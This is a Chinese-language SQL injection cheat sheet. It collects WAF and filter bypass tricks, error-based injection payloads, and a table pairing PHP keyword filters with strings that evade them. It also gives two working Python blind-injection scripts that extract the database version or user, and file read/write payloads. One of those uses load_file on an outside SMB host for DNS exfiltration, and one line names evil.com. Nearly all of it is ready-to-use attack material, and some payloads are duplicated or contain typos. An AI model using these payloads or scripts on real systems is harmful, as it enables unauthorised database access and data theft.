各种注入姿势
SQL的世界真的很丰富,这里记录一些网上搜集到的和自己见过的一些注入手段
也是方便自己查看,右侧栏可以选择目录
注入的一般流程
以前写过一道题目
waf拦截了columns,database,schema等关键字或函数
Out-of-Band 注入
各种绕过
注释符
//, -- , /**/, #, --+, -- -, ;,%00,--a
大小写
Union SeLeCt...
内联注释绕过
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
这里/**/注释在实际过程中似乎是行不通的,不知是版本限制还是什么原因
双关键字绕过
?id=1+UNIunionON+SeLselectECT+1,2,3–
编码绕过
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
空格绕过
两个空格代替一个空格,用Tab代替空格
%20 %09 %0a %0b %0c %0d %a0 /**/
括号绕过空格
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来
select(user())from dual where 1=1 and 2=2;
+,-,.号拆解字符串绕过
?id=1' or '11+11'='11+11'
"-"和"."
like绕过
?id=1' or 1 like 1
绕过对“=”,“>”等的过滤
in绕过
or '1' IN ('swords')
>,<绕过
or 'password' > 'pass'
or 1<3
等价函数与命令绕过
函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
符号
and和or有可能不能使用,可以试下&&和||
=不能使用的情况,可以考虑尝试<、>
生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
反引号`绕过
select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
换行符绕过
%0a、%0d
截断绕过
%00,%0A,?,/0,////////////////........////////,%80-%99
目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
././././././././././././././././abc
////////////////////////abc
..1/abc/../1/abc/../1/abc
宽字节绕过
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27
\N绕过
\N其实相当于NULL字符
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
特殊的绕过函数
greatest(a,b),返回a和b中较大的那个数。
当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用
mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
| 1 |
+------------------------------------------+
如果小于150,则上述返回值为True
mid(user() from 1 for 1)
或
substr(user() from 1 for 1)
mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
| 1 |
+------------------------------------------+
exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。
~x 是一个一元运算符,将x按位取补
select exp(~(select*from(select user())a))
mysql报错:
mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’
这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围,分解到子查询,就是:
(select*from(select user())a) 得到字符串 root@localhost
表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数
PHP中一些常见的过滤方法及绕过方式
过滤关键字 and or
php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1
过滤关键字 and or union
php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤关键字 and, or, union, where, limit
php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤关键字 and, or, union, where, limit, group by
php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = 'a'
过滤关键字 and, or, union, where, limit, group by, select, '
php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字 and, or, union, where, limit, group by, select, ', hex
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)
过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = 'admin'
绕过方式 1 || (select user from users limit 1) = 'admin'
报错注入
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x3a,(select user())),1))
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
select * from(select * from mysql.user ajoin mysql.user b)c;
and exp(~(select * from (select user () ) a) );
and GeometryCollection(()select *from(select user () )a)b );
and polygon (()select * from(select user ())a)b );
and multipoint (()select * from(select user() )a)b );
and multlinestring (()select * from(selectuser () )a)b );
and multpolygon (()select * from(selectuser () )a)b );
and linestring (()select * from(select user() )a)b );
延时注入脚本
#encoding=utf-8
import string
import urllib
import httplib
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36'
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ','~']
print u'开始爆破:'
version = ''
for i in range(1,10):
for payload in payloads:
timeout_count = 0
try:
conn = httplib.HTTPConnection('ip', timeout=5)
s = "if (ascii(substr(version(),%s,1))=%s) WAITFOR DELAY '0:0:10' --" % (i, ord(payload))
params = "lib=83';" + urllib.quote(s)+"&lev=2"
conn.request(method='GET', url= '/bookhtm/book.asp?' + params,headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print s+'\n',
except Exception, e:
timeout_count += 1
if timeout_count == 1:
version += payload
print '\n[+]',payload
print '\n[*]', version
break
print '\n[+] Result is:', version
Mysql布尔盲注脚本
当某个盲注点不能使用工具(一般有waf限制)的时候
可以使用这个脚本用于证明漏洞的存在
! usr/bin/env python
-*- coding: utf-8 -*-
import httplib
import time
import string
import sys
import random
import urllib
headers = {'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63',}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21):
for payload in payloads:
conn = httplib.HTTPConnection('www.example.com', timeout=4) #连接,host
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload)) #payload
conn.request(method='GET',url="/php/1.php?id=1 and %s" % s,headers = headers) #url
html_header= conn.getresponse().read()
length=len(html_header)
if length>10000:
user+=payload
sys.stdout.write('\r[In progress] %s' % user)
sys.stdout.flush()
break
else:
print '.',
conn.close()
print '\n[Done]MySQL user is', user
注入中读取文件
MYSQL
常见的读文件,可以用16进制代替字符串
select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道
写文件
select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'
参考:MySQL注射的过滤绕过技巧
SQL注入绕过技巧
sql注入12个报错方式
深入了解SQL注入绕过waf和过滤机制
安全手册
About Join
SQLi —— 逗号,空格,字段名过滤突破